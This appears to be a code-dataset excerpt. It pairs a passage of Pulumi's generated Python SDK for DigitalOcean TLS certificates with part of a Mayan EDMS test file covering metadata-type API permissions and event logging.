:param pulumi.Input[Union[str, 'CertificateType']] type: The type of certificate to provision. Can be either
`custom` or `lets_encrypt`. Defaults to `custom`.
"""
if certificate_chain is not None:
pulumi.set(__self__, "certificate_chain", certificate_chain)
if domains is not None:
pulumi.set(__self__, "domains", domains)
if leaf_certificate is not None:
pulumi.set(__self__, "leaf_certificate", leaf_certificate)
if name is not None:
pulumi.set(__self__, "name", name)
if private_key is not None:
pulumi.set(__self__, "private_key", private_key)
if type is not None:
pulumi.set(__self__, "type", type)
@property
@pulumi.getter(name="certificateChain")
def certificate_chain(self) -> Optional[pulumi.Input[str]]:
"""
The full PEM-formatted trust chain
between the certificate authority's certificate and your domain's TLS
certificate. Only valid when type is `custom`.
"""
return pulumi.get(self, "certificate_chain")
@certificate_chain.setter
def certificate_chain(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "certificate_chain", value)
@property
@pulumi.getter
def domains(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List of fully qualified domain names (FQDNs) for
which the certificate will be issued. The domains must be managed using
DigitalOcean's DNS. Only valid when type is `lets_encrypt`.
"""
return pulumi.get(self, "domains")
@domains.setter
def domains(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "domains", value)
@property
@pulumi.getter(name="leafCertificate")
def leaf_certificate(self) -> Optional[pulumi.Input[str]]:
"""
The contents of a PEM-formatted public
TLS certificate. Only valid when type is `custom`.
"""
return pulumi.get(self, "leaf_certificate")
@leaf_certificate.setter
def leaf_certificate(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "leaf_certificate", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the certificate for identification.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="privateKey")
def private_key(self) -> Optional[pulumi.Input[str]]:
"""
The contents of a PEM-formatted private-key
corresponding to the SSL certificate. Only valid when type is `custom`.
"""
return pulumi.get(self, "private_key")
@private_key.setter
def private_key(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_key", value)
@property
@pulumi.getter
def type(self) -> Optional[pulumi.Input[Union[str, 'CertificateType']]]:
"""
The type of certificate to provision. Can be either
`custom` or `lets_encrypt`. Defaults to `custom`.
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: Optional[pulumi.Input[Union[str, 'CertificateType']]]):
pulumi.set(self, "type", value)
@pulumi.input_type
class _CertificateState:
def __init__(__self__, *,
certificate_chain: Optional[pulumi.Input[str]] = None,
domains: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
leaf_certificate: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
not_after: Optional[pulumi.Input[str]] = None,
private_key: Optional[pulumi.Input[str]] = None,
sha1_fingerprint: Optional[pulumi.Input[str]] = None,
state: Optional[pulumi.Input[str]] = None,
type: Optional[pulumi.Input[Union[str, 'CertificateType']]] = None,
uuid: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering Certificate resources.
:param pulumi.Input[str] certificate_chain: The full PEM-formatted trust chain
between the certificate authority's certificate and your domain's TLS
certificate. Only valid when type is `custom`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] domains: List of fully qualified domain names (FQDNs) for
which the certificate will be issued. The domains must be managed using
DigitalOcean's DNS. Only valid when type is `lets_encrypt`.
:param pulumi.Input[str] leaf_certificate: The contents of a PEM-formatted public
TLS certificate. Only valid when type is `custom`.
:param pulumi.Input[str] name: The name of the certificate for identification.
:param pulumi.Input[str] not_after: The expiration date of the certificate
:param pulumi.Input[str] private_key: The contents of a PEM-formatted private-key
corresponding to the SSL certificate. Only valid when type is `custom`.
:param pulumi.Input[str] sha1_fingerprint: The SHA-1 fingerprint of the certificate
:param pulumi.Input[Union[str, 'CertificateType']] type: The type of certificate to provision. Can be either
`custom` or `lets_encrypt`. Defaults to `custom`.
:param pulumi.Input[str] uuid: The UUID of the certificate
"""
if certificate_chain is not None:
pulumi.set(__self__, "certificate_chain", certificate_chain)
if domains is not None:
pulumi.set(__self__, "domains", domains)
if leaf_certificate is not None:
pulumi.set(__self__, "leaf_certificate", leaf_certificate)
if name is not None:
pulumi.set(__self__, "name", name)
if not_after is not None:
pulumi.set(__self__, "not_after", not_after)
if private_key is not None:
pulumi.set(__self__, "private_key", private_key)
if sha1_fingerprint is not None:
pulumi.set(__self__, "sha1_fingerprint", sha1_fingerprint)
if state is not None:
pulumi.set(__self__, "state", state)
if type is not None:
pulumi.set(__self__, "type", type)
if uuid is not None:
pulumi.set(__self__, "uuid", uuid)
@property
@pulumi.getter(name="certificateChain")
def certificate_chain(self) -> Optional[pulumi.Input[str]]:
"""
The full PEM-formatted trust chain
between the certificate authority's certificate and your domain's TLS
certificate. Only valid when type is `custom`.
"""
return pulumi.get(self, "certificate_chain")
@certificate_chain.setter
def certificate_chain(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "certificate_chain", value)
@property
@pulumi.getter
def domains(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List of fully qualified domain names (FQDNs) for
which the certificate will be issued. The domains must be managed using
DigitalOcean's DNS. Only valid when type is `lets_encrypt`.
"""
return pulumi.get(self, "domains")
@domains.setter
def domains(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "domains", value)
@property
@pulumi.getter(name="leafCertificate")
def leaf_certificate(self) -> Optional[pulumi.Input[str]]:
"""
The contents of a PEM-formatted public
TLS certificate. Only valid when type is `custom`.
"""
return pulumi.get(self, "leaf_certificate")
@leaf_certificate.setter
def leaf_certificate(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "leaf_certificate", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the certificate for identification.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="notAfter")
def not_after(self) -> Optional[pulumi.Input[str]]:
"""
The expiration date of the certificate
"""
return pulumi.get(self, "not_after")
@not_after.setter
def not_after(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "not_after", value)
@property
@pulumi.getter(name="privateKey")
def private_key(self) -> Optional[pulumi.Input[str]]:
"""
The contents of a PEM-formatted private-key
corresponding to the SSL certificate. Only valid when type is `custom`.
"""
return pulumi.get(self, "private_key")
@private_key.setter
def private_key(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_key", value)
@property
@pulumi.getter(name="sha1Fingerprint")
def sha1_fingerprint(self) -> Optional[pulumi.Input[str]]:
"""
The SHA-1 fingerprint of the certificate
"""
return pulumi.get(self, "sha1_fingerprint")
@sha1_fingerprint.setter
def sha1_fingerprint(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "sha1_fingerprint", value)
@property
@pulumi.getter
def state(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "state")
@state.setter
def state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "state", value)
@property
@pulumi.getter
def type(self) -> Optional[pulumi.Input[Union[str, 'CertificateType']]]:
"""
The type of certificate to provision. Can be either
`custom` or `lets_encrypt`. Defaults to `custom`.
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: Optional[pulumi.Input[Union[str, 'CertificateType']]]):
pulumi.set(self, "type", value)
@property
@pulumi.getter
def uuid(self) -> Optional[pulumi.Input[str]]:
"""
The UUID of the certificate
"""
return pulumi.get(self, "uuid")
@uuid.setter
def uuid(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "uuid", value)
class Certificate(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
certificate_chain: Optional[pulumi.Input[str]] = None,
domains: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
leaf_certificate: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
private_key: Optional[pulumi.Input[str]] = None,
type: Optional[pulumi.Input[Union[str, 'CertificateType']]] = None,
__props__=None):
"""
Provides a DigitalOcean Certificate resource that allows you to manage
certificates for configuring TLS termination in Load Balancers.
Certificates created with this resource can be referenced in your
Load Balancer configuration via their ID. The certificate can either
be a custom one provided by you or automatically generated one with
Let's Encrypt.
## Example Usage
### Custom Certificate
```python
import pulumi
import pulumi_digitalocean as digitalocean
cert = digitalocean.Certificate("cert",
type="custom",
private_key=(lambda path: open(path).read())("/Users/myuser/certs/privkey.pem"),
leaf_certificate=(lambda path: open(path).read())("/Users/myuser/certs/cert.pem"),
certificate_chain=(lambda path: open(path).read())("/Users/myuser/certs/fullchain.pem"))
```
### Let's Encrypt Certificate
```python
import pulumi
import pulumi_digitalocean as digitalocean
cert = digitalocean.Certificate("cert",
domains=["example.com"],
type="lets_encrypt")
```
### Use with Other Resources
Both custom and Let's Encrypt certificates can be used with other resources
including the `LoadBalancer` and `Cdn` resources.
```python
import pulumi
import pulumi_digitalocean as digitalocean
cert = digitalocean.Certificate("cert",
type="lets_encrypt",
domains=["example.com"])
# Create a new Load Balancer with TLS termination
public = digitalocean.LoadBalancer("public",
region="nyc3",
droplet_tag="backend",
forwarding_rules=[digitalocean.LoadBalancerForwardingRuleArgs(
entry_port=443,
entry_protocol="https",
target_port=80,
target_protocol="http",
certificate_name=cert.name,
)])
```
## Import
Certificates can be imported using the certificate `name`, e.g.
```sh
$ pulumi import digitalocean:index/certificate:Certificate mycertificate cert-01
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] certificate_chain: The full PEM-formatted trust chain
between the certificate authority's certificate and your domain's TLS
certificate. Only valid when type is `custom`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] domains: List of fully qualified domain names (FQDNs) for
which the certificate will be issued. The domains must be managed using
DigitalOcean's DNS. Only valid when type is `lets_encrypt`.
:param pulumi.Input[str] leaf_certificate: The contents of a PEM-formatted public
TLS certificate. Only valid when type is `custom`.
:param pulumi.Input[str] name: The name of the certificate for identification.
:param pulumi.Input[str] private_key: The contents of a PEM-formatted private-key
corresponding to the SSL certificate. Only valid when type is `custom`.
:param pulumi.Input[Union[str, 'CertificateType']] type: The type of certificate to provision. Can be either
`custom` or `lets_encrypt`. Defaults to `custom`.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: Optional[CertificateArgs] = None,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides a DigitalOcean Certificate resource that allows you to manage
certificates for configuring TLS termination in Load Balancers.
Certificates created with this resource can be referenced in your
Load Balancer configuration via their ID. The certificate can either
be a custom one provided by you or automatically generated one with
Let's Encrypt.
## Example Usage
### Custom Certificate
```python
import pulumi
import pulumi_digitalocean as digitalocean
cert = digitalocean.Certificate("cert",
type="custom",
private_key=(lambda path: open(path).read())("/Users/myuser/certs/privkey.pem"),
leaf_certificate=(lambda path: open(path).read())("/Users/myuser/certs/cert.pem"),
certificate_chain=(lambda path: open(path).read())("/Users/myuser/certs/fullchain.pem"))
```
### Let's Encrypt Certificate
```python
import pulumi
import pulumi_digitalocean as digitalocean
cert = digitalocean.Certificate("cert",
domains=["example.com"],
type="lets_encrypt")
```
### Use with Other Resources
Both custom and Let's Encrypt certificates can be used with other resources
including the `LoadBalancer` and `Cdn` resources.
```python
import pulumi
import pulumi_digitalocean as digitalocean
cert = digitalocean.Certificate("cert",
type="lets_encrypt",
domains=["example.com"])
# Create a new Load Balancer with TLS termination
public = digitalocean.LoadBalancer("public",
region="nyc3",
droplet_tag="backend",
forwarding_rules=[digitalocean.LoadBalancerForwardingRuleArgs(
entry_port=443,
entry_protocol="https",
target_port=80,
target_protocol="http",
certificate_name=cert.name,
)])
```
## Import
Certificates can be imported using the certificate `name`, e.g.
```sh
$ pulumi import digitalocean:index/certificate:Certificate mycertificate cert-01
```
:param str resource_name: The name of the resource.
:param CertificateArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(CertificateArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
certificate_chain: Optional[pulumi.Input[str]] = None,
domains: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
leaf_certificate: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
private_key: Optional[pulumi.Input[str]] = None,
type: Optional[pulumi.Input[Union[str, 'CertificateType']]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = CertificateArgs.__new__(CertificateArgs)
__props__.__dict__["certificate_chain"] = certificate_chain
__props__.__dict__["domains"] = domains
__props__.__dict__["leaf_certificate"] = leaf_certificate
__props__.__dict__["name"] = name
__props__.__dict__["private_key"] = private_key
__props__.__dict__["type"] = type
__props__.__dict__["not_after"] = None
__props__.__dict__["sha1_fingerprint"] = None
__props__.__dict__["state"] = None
__props__.__dict__["uuid"] = None
super(Certificate, __self__).__init__(
'digitalocean:index/certificate:Certificate',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
certificate_chain: Optional[pulumi.Input[str]] = None,
domains: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
leaf_certificate: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
not_after: Optional[pulumi.Input[str]] = None,
private_key: Optional[pulumi.Input[str]] = None,
sha1_fingerprint: Optional[pulumi.Input[str]] = None,
state: Optional[pulumi.Input[str]] = None,
type: Optional[pulumi.Input[Union[str, 'CertificateType']]] = None,
uuid: Optional[pulumi.Input[str]] = None) -> 'Certificate':
"""
Get an existing Certificate resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] certificate_chain: The full PEM-formatted trust chain
between the certificate authority's certificate and your domain's TLS
certificate. Only valid when type is `custom`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] domains: List of fully qualified domain names (FQDNs) for
which the certificate will be issued. The domains must be managed using
DigitalOcean's DNS. Only valid when type is `lets_encrypt`.
:param pulumi.Input[str] leaf_certificate: The contents of a PEM-formatted public
TLS certificate. Only valid when type is `custom`.
:param pulumi.Input[str] name: The name of the certificate for identification.
:param pulumi.Input[str] not_after: The expiration date of the certificate
:param pulumi.Input[str] private_key: The contents of a PEM-formatted private-key
corresponding to the SSL certificate. Only valid when type is `custom`.
:param pulumi.Input[str] sha1_fingerprint: The SHA-1 fingerprint of the certificate
:param pulumi.Input[Union[str, 'CertificateType']] type: The type of certificate to provision. Can be either
`custom` or `lets_encrypt`. Defaults to `custom`.
:param pulumi.Input[str] uuid: The UUID of the certificate
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _CertificateState.__new__(_CertificateState)
__props__.__dict__["certificate_chain"] = certificate_chain
__props__.__dict__["domains"] = domains
__props__.__dict__["leaf_certificate"] = leaf_certificate
__props__.__dict__["name"] = name
__props__.__dict__["not_after"] = not_after
__props__.__dict__["private_key"] = private_key
__props__.__dict__["sha1_fingerprint"] = sha1_fingerprint
__props__.__dict__["state"] = state
__props__.__dict__["type"] = type
__props__.__dict__["uuid"] = uuid
return Certificate(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="certificateChain")
def certificate_chain(self) -> pulumi.Output[Optional[str]]:
"""
The full PEM-formatted trust chain
between the certificate authority's certificate and your domain's TLS
certificate. Only valid when type is `custom`.
"""
return pulumi.get(self, "certificate_chain")
@property
@pulumi.getter
def domains(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
List of fully qualified domain names (FQDNs) for
which the certificate will be issued. The domains must be managed using
DigitalOcean's DNS. Only valid when type is `lets_encrypt`.
"""
return pulumi.get(self, "domains")
@property
@pulumi.getter(name="leafCertificate")
def leaf_certificate(self) -> pulumi.Output[Optional[str]]:
"""
The contents of a PEM-formatted public
TLS certificate. Only valid when type is `custom`.
"""
return pulumi.get(self, "leaf_certificate")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
The name of the certificate for identification.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="notAfter")
def not_after(self) -> pulumi.Output[str]:
"""
The expiration date of the certificate
"""
return pulumi.get(self, "not_after")
@property
@pulumi.getter(name="privateKey")
def private_key(self) -> pulumi.Output[Optional[str]]:
"""
The contents of a PEM-formatted private-key
corresponding to the SSL certificate. Only valid when type is `custom`.
"""
return pulumi.get(self, "private_key")
@property
@pulumi.getter(name="sha1Fingerprint")
def sha1_fingerprint(self) -> pulumi.Output[str]:
"""
The SHA-1 fingerprint of the certificate
"""
return pulumi.get(self, "sha1_fingerprint")
@property
@pulumi.getter
def state(self) -> pulumi.Output[str]:
return pulumi.get(self, "state")
@property
@pulumi.getter
def type(self) -> pulumi.Output[Optional[str]]:
"""
The type of certificate to provision. Can be either
`custom` or `lets_encrypt`. Defaults to `custom`.
"""
return pulumi.get(self, "type")
@property
@pulumi.getter
def uuid(self) -> pulumi.Output[str]:
"""
The UUID of the certificate
"""
return pulumi.get(self, "uuid")
| 41.931715 | 134 | 0.63388 | 3,166 | 27,633 | 5.361655 | 0.074858 | 0.075817 | 0.073402 | 0.067393 | 0.887776 | 0.869926 | 0.840059 | 0.835405 | 0.828454 | 0.798115 | 0 | 0.001971 | 0.265407 | 27,633 | 658 | 135 | 41.995441 | 0.834278 | 0.413129 | 0 | 0.716667 | 1 | 0 | 0.090799 | 0.002991 | 0 | 0 | 0 | 0 | 0 | 1 | 0.163333 | false | 0.003333 | 0.02 | 0.006667 | 0.283333 | 0.05 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
da2d6915d588577dfa9703847c227c88477f3c00 | 23,678 | py | Python | mayan/apps/metadata/tests/test_metadata_type_api.py | atitaya1412/Mayan-EDMS | bda9302ba4b743e7d829ad118b8b836221888172 | [
"Apache-2.0"
] | 343 | 2015-01-05T14:19:35.000Z | 2018-12-10T19:07:48.000Z | mayan/apps/metadata/tests/test_metadata_type_api.py | atitaya1412/Mayan-EDMS | bda9302ba4b743e7d829ad118b8b836221888172 | [
"Apache-2.0"
] | 191 | 2015-01-03T00:48:19.000Z | 2018-11-30T09:10:25.000Z | mayan/apps/metadata/tests/test_metadata_type_api.py | atitaya1412/Mayan-EDMS | bda9302ba4b743e7d829ad118b8b836221888172 | [
"Apache-2.0"
] | 257 | 2019-05-14T10:26:37.000Z | 2022-03-30T03:37:36.000Z | from rest_framework import status
from mayan.apps.documents.permissions import (
permission_document_type_edit, permission_document_type_view
)
from mayan.apps.documents.tests.mixins.document_mixins import DocumentTestMixin
from mayan.apps.rest_api.tests.base import BaseAPITestCase
from ..events import (
event_metadata_type_created, event_metadata_type_edited,
event_metadata_type_relationship_updated
)
from ..models import DocumentTypeMetadataType, MetadataType
from ..permissions import (
permission_metadata_type_create, permission_metadata_type_delete,
permission_metadata_type_edit, permission_metadata_type_view
)
from .mixins import (
DocumentTypeMetadataTypeAPIViewTestMixin,
DocumentTypeMetadataTypeTestMixin, MetadataTypeAPIViewTestMixin,
MetadataTypeTestMixin
)
class MetadataTypeAPITestCase(
MetadataTypeAPIViewTestMixin, MetadataTypeTestMixin, BaseAPITestCase
):
def test_metadata_type_create_api_view_no_permission(self):
self._clear_events()
response = self._request_test_metadata_type_create_api_view()
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
self.assertEqual(MetadataType.objects.count(), 0)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_metadata_type_create_api_view_with_permission(self):
self.grant_permission(permission=permission_metadata_type_create)
self._clear_events()
response = self._request_test_metadata_type_create_api_view()
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
metadata_type = MetadataType.objects.first()
self.assertEqual(response.data['id'], metadata_type.pk)
events = self._get_test_events()
self.assertEqual(events.count(), 1)
self.assertEqual(events[0].action_object, None)
self.assertEqual(events[0].actor, self._test_case_user)
self.assertEqual(events[0].target, self.test_metadata_type)
self.assertEqual(events[0].verb, event_metadata_type_created.id)
def test_metadata_type_delete_api_view_no_permission(self):
self._create_test_metadata_type()
self._clear_events()
response = self._request_test_metadata_type_delete_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
self.assertEqual(MetadataType.objects.count(), 1)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_metadata_type_delete_api_view_with_access(self):
self._create_test_metadata_type()
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_delete
)
self._clear_events()
response = self._request_test_metadata_type_delete_api_view()
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertEqual(MetadataType.objects.count(), 0)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_metadata_type_detail_api_view_no_permission(self):
self._create_test_metadata_type()
self._clear_events()
response = self._request_test_metadata_type_detail_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_metadata_type_detail_api_view_with_access(self):
self._create_test_metadata_type()
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_view
)
self._clear_events()
response = self._request_test_metadata_type_detail_api_view()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(
response.data['label'], self.test_metadata_type.label
)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_metadata_type_patch_api_view_no_permission(self):
self._create_test_metadata_type()
metadata_type_values = self._model_instance_to_dictionary(
instance=self.test_metadata_type
)
self._clear_events()
response = self._request_test_metadata_type_edit_api_view_via_patch()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
self.test_metadata_type.refresh_from_db()
self.assertEqual(
self._model_instance_to_dictionary(
instance=self.test_metadata_type
), metadata_type_values
)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_metadata_type_patch_api_view_with_access(self):
self._create_test_metadata_type()
metadata_type_values = self._model_instance_to_dictionary(
instance=self.test_metadata_type
)
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_test_metadata_type_edit_api_view_via_patch()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.test_metadata_type.refresh_from_db()
self.assertNotEqual(
self._model_instance_to_dictionary(
instance=self.test_metadata_type
), metadata_type_values
)
events = self._get_test_events()
self.assertEqual(events.count(), 1)
self.assertEqual(events[0].action_object, None)
self.assertEqual(events[0].actor, self._test_case_user)
self.assertEqual(events[0].target, self.test_metadata_type)
self.assertEqual(events[0].verb, event_metadata_type_edited.id)
def test_metadata_type_put_api_view_no_permission(self):
self._create_test_metadata_type()
metadata_type_values = self._model_instance_to_dictionary(
instance=self.test_metadata_type
)
self._clear_events()
response = self._request_test_metadata_type_edit_api_view_via_put()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
self.test_metadata_type.refresh_from_db()
self.assertEqual(
self._model_instance_to_dictionary(
instance=self.test_metadata_type
), metadata_type_values
)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_metadata_type_put_api_view_with_access(self):
self._create_test_metadata_type()
metadata_type_values = self._model_instance_to_dictionary(
instance=self.test_metadata_type
)
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_test_metadata_type_edit_api_view_via_put()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.test_metadata_type.refresh_from_db()
self.assertNotEqual(
self._model_instance_to_dictionary(
instance=self.test_metadata_type
), metadata_type_values
)
events = self._get_test_events()
self.assertEqual(events.count(), 1)
self.assertEqual(events[0].action_object, None)
self.assertEqual(events[0].actor, self._test_case_user)
self.assertEqual(events[0].target, self.test_metadata_type)
self.assertEqual(events[0].verb, event_metadata_type_edited.id)
def test_metadata_type_list_api_view_no_permission(self):
self._create_test_metadata_type()
self._clear_events()
response = self._request_test_metadata_type_list_api_view()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 0)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_metadata_type_list_api_view_with_access(self):
self._create_test_metadata_type()
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_view
)
self._clear_events()
response = self._request_test_metadata_type_list_api_view()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(
response.data['results'][0]['label'],
self.test_metadata_type.label
)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
class DocumentTypeMetadataTypeAPITestCase(
DocumentTestMixin, DocumentTypeMetadataTypeAPIViewTestMixin,
DocumentTypeMetadataTypeTestMixin, MetadataTypeTestMixin, BaseAPITestCase
):
auto_upload_test_document = False
def setUp(self):
super().setUp()
self._create_test_metadata_type()
def test_document_type_metadata_type_create_api_view_no_permission(self):
self._clear_events()
response = self._request_document_type_metadata_type_create_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
self.assertEqual(self.test_document_type.metadata.count(), 0)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_create_api_view_with_document_type_access(self):
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_create_api_view()
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(self.test_document_type.metadata.count(), 0)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_create_api_view_with_metadata_type_access(self):
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_create_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
self.assertEqual(self.test_document_type.metadata.count(), 0)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_create_api_view_with_full_access(self):
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_edit
)
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_create_api_view()
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
document_type_metadata_type = DocumentTypeMetadataType.objects.first()
self.assertEqual(response.data['id'], document_type_metadata_type.pk)
events = self._get_test_events()
self.assertEqual(events.count(), 1)
self.assertEqual(events[0].action_object, self.test_metadata_type)
self.assertEqual(events[0].actor, self._test_case_user)
self.assertEqual(events[0].target, self.test_document_type)
self.assertEqual(
events[0].verb, event_metadata_type_relationship_updated.id
)
def test_document_type_metadata_type_create_duplicate_api_view(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_edit
)
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_create_api_view()
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(list(response.data.keys())[0], 'non_field_errors')
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_delete_api_view_no_permission(self):
self._create_test_document_type_metadata_type()
self._clear_events()
response = self._request_document_type_metadata_type_delete_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
self.assertEqual(self.test_document_type.metadata.count(), 1)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_delete_api_view_with_document_type_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_delete_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
self.assertEqual(self.test_document_type.metadata.count(), 1)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_delete_api_view_with_metadata_type_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_delete_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
self.assertEqual(self.test_document_type.metadata.count(), 1)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_document_type_metadata_type_delete_api_view_with_full_access(self):
self._create_test_document_type_metadata_type()
self.grant_access(
obj=self.test_document_type,
permission=permission_document_type_edit
)
self.grant_access(
obj=self.test_metadata_type,
permission=permission_metadata_type_edit
)
self._clear_events()
response = self._request_document_type_metadata_type_delete_api_view()
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
self.assertEqual(self.test_document_type.metadata.all().count(), 0)
events = self._get_test_events()
self.assertEqual(events.count(), 1)
self.assertEqual(events[0].action_object, self.test_metadata_type)
self.assertEqual(events[0].actor, self._test_case_user)
